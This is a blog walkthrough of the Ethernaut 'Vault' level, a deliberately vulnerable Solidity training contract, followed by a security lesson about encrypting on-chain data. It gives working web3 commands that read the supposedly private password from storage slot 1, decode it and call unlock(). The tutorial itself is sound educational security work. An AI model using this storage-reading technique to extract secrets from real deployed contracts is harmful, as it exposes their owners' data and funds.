Ethernaut Walkthrough — Level 8: Vault

Published on Dec 12, 2021

Unlock the vault to pass the level! That's clear enough. When we look at the code of the given contract we can see that a password is set on creation of the contract via the constructor method.

Unlocking the vault can only be done if you know the password. The password variable is defined as private but any blockchain developer knows that private only affects the scope of the variable and has nothing to do with making the contents of that variable private or hidden.

Any data in your contract is public and can be read by anyone.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

The hack

A quick search query brings me to this article explaining how to read private data from a contract. In summary, we should remember that in Solidity all data is stored in slots that each can hold up to 32 bytes of data.

The web3 library allows us to get storage slots by doing something like this (run this in the Ethernaut console with your own instance address):

await web3.eth.getStorageAt("0x82254842D6C3b479385C29B2B34630d7882bfBf9", 0, console.log);

This method requests the storage at slot number 0, which should return the value of the first boolean called locked. The method returns the following value, showing us that the value for the locked boolean is 1 or true.

0x0000000000000000000000000000000000000000000000000000000000000001

The next variable in the contract is called password and is 32 bytes in size, meaning it cannot be added to the first storage slot, but will be stored in slot 1. Let's call that slot:

await web3.eth.getStorageAt("0x82254842D6C3b479385C29B2B34630d7882bfBf9", 1, console.log);

This gives us a HEX response we can try to convert to ASCII.

'0x412076657279207374726f6e67207365637265742070617373776f7264203a29'

We can use the web3 library to do so as follows:

await web3.utils.hexToAscii("0x412076657279207374726f6e67207365637265742070617373776f7264203a29");
// 'A very strong secret password :)'

Cool, we can now call the unlock() method, passing the password as bytes32 (not as a string) in order to unlock the Vault contract.

await contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29");
=^..^= Well done, You have completed this level!!!

Security lessons learned

Don't be fooled by the private keyword, it will not hide your data from anybody. All data is visible to the public when it's on the blockchain.

If you want to store data on-chain without the world having access to it, you will need to encrypt it first before writing it to your contract. Of course, never store decryption keys on-chain.

Continue from here

Here's my solution for level 9

No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on Twitter @GoodBytes to keep the conversation going.